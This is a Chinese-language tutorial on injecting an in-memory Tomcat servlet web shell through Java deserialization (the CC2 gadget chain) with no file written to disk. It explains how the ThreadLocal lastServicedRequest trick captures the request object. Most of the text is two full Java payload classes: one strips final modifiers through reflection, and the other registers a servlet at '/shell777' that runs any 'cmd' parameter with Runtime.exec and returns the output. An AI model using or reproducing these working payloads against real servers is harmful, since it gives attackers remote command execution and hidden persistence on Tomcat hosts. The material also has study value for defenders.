# 前言 - 回显问题
前面我们在注入内存马的时候都是用 JSP 来实现代码执行的,而我们知道,JSP 本质上就是 Servlet,当我们访问 JSP 时,Tomcat 会把这个 JSP 当作一个 Servlet 来编译程.class 然后加载,本质上还是有文件落地的(内存马没落地,但注册内存马的这个 JSP 文件落地了)。而且我们还需要至少有一个文件上传功能才能注入内存马,这样一点也不优雅。
因此这里我们来学习通过反序列化注入内存马,让我们的攻击更加优雅。
在开始之前,我们老样子,思考以下问题:
Q:任何反序列化链都能注入内存马吗?
A:NO,很明显,我们想要注入内存马,核心问题就在于怎么通过反序列化来实现任意代码执行。而这就需要用到一些能够 加载字节码 的 Gadge 才能完成。PS:下面用到的 Gadge 为 CC2。
Q:我们前面在注册各种内存马时是不是都需要有一个 standardContext 对象,之前我们是怎么获取这个对象的呢?
A:通过 request 对象获取到 ServletContext 对象,再获取到 standardContext 对象。是的,我们只需要 requests 对象。
Q:request 对象是 JSP 的内置对象,那如果我们用反序列化来注入内存马而不通过 JSP 注入我们怎么去获取到它呢?
A: 这就是本文要解决的问题,往下看。
Q:拓展练习:反序列执行结果怎么回显?
A:如果我们的目的只是通过反序列化来注入内存马的话,那其实我们不太关注这个回显,因为我们只需要 request 去获取 standardContext,在成功注册后自然的就变成了和 Servlet、Filter 之类的交互,回显的获取是简单的。
但如果我们细究一点,比如就单纯只利用反序列化漏洞来获取回显呢,比如目标站点没有能够注入内存马的 Gadge,只有 CC1 这种呢?我们自然就需要去解决怎么获取回显这个问题。
[Java 反序列化回显与内存马注入 - Zh1z3ven - 博客园 (cnblogs.com)](https://www.cnblogs.com/CoLo/p/15690533.html#:~:text=Java 反序列化回显与内存马注入 1 写在前面 之前已经对于 Tomcat 回显链和简单的内存马注入进行了部分的学习,打算先对一个很常见的场景,比如中间件是 Tomcat,Web 站点存在反序列化的场景去打一个内存马或者说反序列化回显的一个利用。 先做一个简单实现,后面再对不同场景下做一个深度的利用。 2 反序列化回显 主要是通过,3 内存马注入 以 filter 型的 cmd 内存马为例,冰蝎同理,改一改逻辑即可。 首先准备恶意的 Filter,当然可以添加一些自己的逻辑,如 header 头的判断等等 ... 4 Reference https%3A%2F%2Fsummersec.github.io%2F2020%2F06%2F01%2FJava 反序列化回显解决方案 %2F%23toc-heading-6)
目前主流的回显技术如下:
- linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干饶。
- 通过 ThreadLocal Response 回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain 中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到 Tomcat Response 进行回显。
- 通过全局存储 Response 回显,寻找在 Tomcat 处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致 http 包超长,但相对比较通用。
嗯,这里我们还是着重去讨论反序列内存马的实现,至于反序列化怎么获取回显问题,有兴趣的小伙伴可以自己去学习学习。(我先咕着,学会了踹我一脚)
这里我们反序列化内存马的实现涉及的核心问题其实已经在前面的 QA 中提完了,主要就是需要有一个能加载字节码的 Gadge 和需要能够获取到 requests 这个对象。CC2 这里就不分析了,主要讲的是而怎么获取 requests 对象呢?
A:这里我们有两种方法。
①kingkk 师傅的思路是寻找一个静态的可以存储 request 和 response 的变量,通过反射来把 requests 给存储进去。后面调用获取。因为如果不是静态的话,那么我们还需要获取到对应的实例,最终 kingkk 师傅找到了如下位置:org.apache.catalina.core.ApplicationFilterChain
②Litch1 师傅则是找到了继承 Http11Processor 的 AbstractProcessor 中有 Request 和 Response 的 Field,并且都是 final 类型(赋值之后对于对象的引用不会变),也就是说只要能拿到这个 Http11Processor 就可以拿到 request 和 response 了。
# 参考链接
结合反序列化的内存马注入 - Confess2Moon (moonflower.fun)https://t1melo0per.github.io/2022/04/27/memshell-filter/)
# 通过 ThreadLocal Response 回显
其实就是寻找一个能存储 requests 和 response 的静态变量。通过反射去为这个变量进行 requests 和 response 赋值,后续再从这个变量中获取 requests。
https://xz.aliyun.com/t/7348#toc-3
这里 kingkk 师傅找到的是 org.apache.catalina.core.ApplicationFilterChain 这个类里的这两个变量。
从上述代码中不难看出,ApplicationDispatcher.WRAP_SAME_OBJECT 为真的话,这两个值就是 ThreadLocal 对象,而通过 ThreadLocal 对象是能直接获取到 requests 的。也就是说这个变量我们能够用来存储 requests。这里是静态代码块,是优先执行的,并且最开始 ApplicationDispatcher.WRAP_SAME_OBJECT 默认为 False ,所以 lastServicedRequest 和 lastServicedResponse 一开始默认都是 null。
接着我们还需要保证这个变量在后面的访问过程中内容不会被修改,往后看看它有没有做什么奇怪的操作。很快,我们发现一个有意思的操作,这里,如果 ApplicationDispatcher.WRAP_SAME_OBJECT 为 true 的话,就会调用 lastServicedRequest 的 set 方法去存储 requests 和 response(其实就是 ThreadLocal 类的 set 方法)
但我们又发现一个问题,这个 try,它最后还有个 finally 会把 lastServicedRequest 给设置为 null。
经过断点测试,发现,执行流程大概是先 try 的代码块为 lastServicedRequest 给赋值上 request,然后是到我们的 Servlet,最后才是到 finally。也就是说我们的漏洞利用代码需要在这个区间生效才行。(这也正是为什么 Shiro 反序列化中不能用这个来做回显的原因),但问题不大,我们的反序列点在 Servlet 页面,这正好就在这个区间中,所以这个 finally 的问题我们不需要考虑。
因此这里我们思路其实很清晰了,我们只需要发两个包:
第一次把 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
第二次将其取出,得到 requests 然后得到 standardContext 注册内存马。
为了存储进去,显然需要让它能够步入这个逻辑,也就是说 ApplicationDispatcher.WRAP_SAME_OBJECT 需要为 True,并且 lastServicedRequest 也需要初始化为 ThreadLocal 对象。搞清楚这点后,通过反射来实现一点都不难,主要难点在于它是 final 变量,因此需要先把它的 FINAL 属性取消。
最终我们构造如下反射来实现 requests 和 response 的存储:
package com.ruyue.cc2; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Modifier; | |
public class TemplatesImpl extends AbstractTranslet { | |
static{ | |
try { | |
// 获取 modifiers,用于把 Final 属性给取消掉 | |
Field modifiers = Field.class.getDeclaredField("modifiers"); | |
modifiers.setAccessible(true); | |
// 修改 WRAP_SAME_OBJECT 值为 true | |
Class clzApplicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); | |
Field WRAP_SAME_OBJECTField = clzApplicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); | |
modifiers.setInt(WRAP_SAME_OBJECTField, modifiers.getInt(WRAP_SAME_OBJECTField) & (~Modifier.FINAL)); | |
WRAP_SAME_OBJECTField.setAccessible(true); | |
if (!WRAP_SAME_OBJECTField.getBoolean(null)) { | |
WRAP_SAME_OBJECTField.setBoolean(null, true); | |
} | |
// 重新初始化 lastServicedRequest 对象,让它变为 ThreadLocal | |
Class clzApplicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); | |
Field lastServicedRequestField = clzApplicationFilterChain.getDeclaredField("lastServicedRequest"); | |
modifiers.setInt(lastServicedRequestField, modifiers.getInt(lastServicedRequestField) & (~Modifier.FINAL)); | |
lastServicedRequestField.setAccessible(true); | |
if (lastServicedRequestField.get(null) == null) { | |
lastServicedRequestField.set(null, new ThreadLocal<>()); | |
} | |
// 重新初始化 lastServicedRequest 对象,让它变为 ThreadLocal | |
Field lastServicedResponseField = clzApplicationFilterChain.getDeclaredField("lastServicedResponse"); | |
modifiers.setInt(lastServicedResponseField, modifiers.getInt(lastServicedResponseField) & (~Modifier.FINAL)); | |
lastServicedResponseField.setAccessible(true); | |
if (lastServicedResponseField.get(null) == null) { | |
lastServicedResponseField.set(null, new ThreadLocal<>()); | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
} |
接着我们实现第二部分,从这个变量中获取 requests,进而得到 standardContext,最终注册内存马
package com.ruyue.cc2; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import org.apache.catalina.Wrapper; | |
import org.apache.catalina.core.StandardContext; | |
import javax.servlet.*; | |
import javax.servlet.http.HttpServlet; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.PrintWriter; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Modifier; | |
import java.util.Scanner; | |
public class TemplatesImplServlet extends AbstractTranslet implements Servlet { | |
static private String servletName ="evilServlet1"; | |
static private String servletUrl = "/shell777"; | |
static{ | |
try { | |
ServletContext servletContext = getServletContext(); | |
StandardContext standardContext = getStandardContext(servletContext); | |
Servlet evilServlet = new TemplatesImplServlet(); | |
Wrapper newWrapper = standardContext.createWrapper(); | |
newWrapper.setName(servletName); | |
newWrapper.setLoadOnStartup(1); | |
newWrapper.setServlet(evilServlet); | |
// 向 children 中添加 Wrapper | |
standardContext.addChild(newWrapper); | |
// 添加 servlet 的映射 | |
standardContext.addServletMappingDecoded(servletUrl, servletName); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
private static ServletContext getServletContext() | |
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { | |
ServletRequest servletRequest = null; | |
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); | |
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); | |
f.setAccessible(true); | |
ThreadLocal threadLocal = (ThreadLocal) f.get(null); | |
// 不为空则意味着第一次反序列化的准备工作已成功 | |
if (threadLocal != null && threadLocal.get() != null) { | |
servletRequest = (ServletRequest) threadLocal.get(); | |
} | |
if (servletRequest != null){ | |
return servletRequest.getServletContext(); | |
} | |
return null; | |
} | |
private static StandardContext getStandardContext(ServletContext servletContext) throws NoSuchFieldException, IllegalAccessException { | |
StandardContext standardContext = null; | |
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 | |
while (standardContext == null) { | |
// 因为是 StandardContext 对象是私有属性,所以需要用反射去获取 | |
Field f = servletContext.getClass().getDeclaredField("context"); | |
f.setAccessible(true); | |
Object object = f.get(servletContext); | |
if (object instanceof ServletContext) { | |
servletContext = (ServletContext) object; | |
} else if (object instanceof StandardContext) { | |
standardContext = (StandardContext) object; | |
return standardContext; | |
} | |
} | |
return null; | |
} | |
@Override | |
public void init(ServletConfig servletConfig) throws ServletException { | |
} | |
@Override | |
public ServletConfig getServletConfig() { | |
return null; | |
} | |
@Override | |
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { | |
servletResponse.setContentType("text/html"); | |
PrintWriter out = servletResponse.getWriter(); | |
String cmd = servletRequest.getParameter("cmd"); | |
if(cmd != null){ | |
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); | |
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); | |
String result = scanner.hasNext() ? scanner.next() : ""; | |
out.println(result); | |
} | |
} | |
@Override | |
public String getServletInfo() { | |
return null; | |
} | |
@Override | |
public void destroy() { | |
} | |
} |
将这两个对象反序列化,按顺序发送到目标服务器,最终成功注册内存马。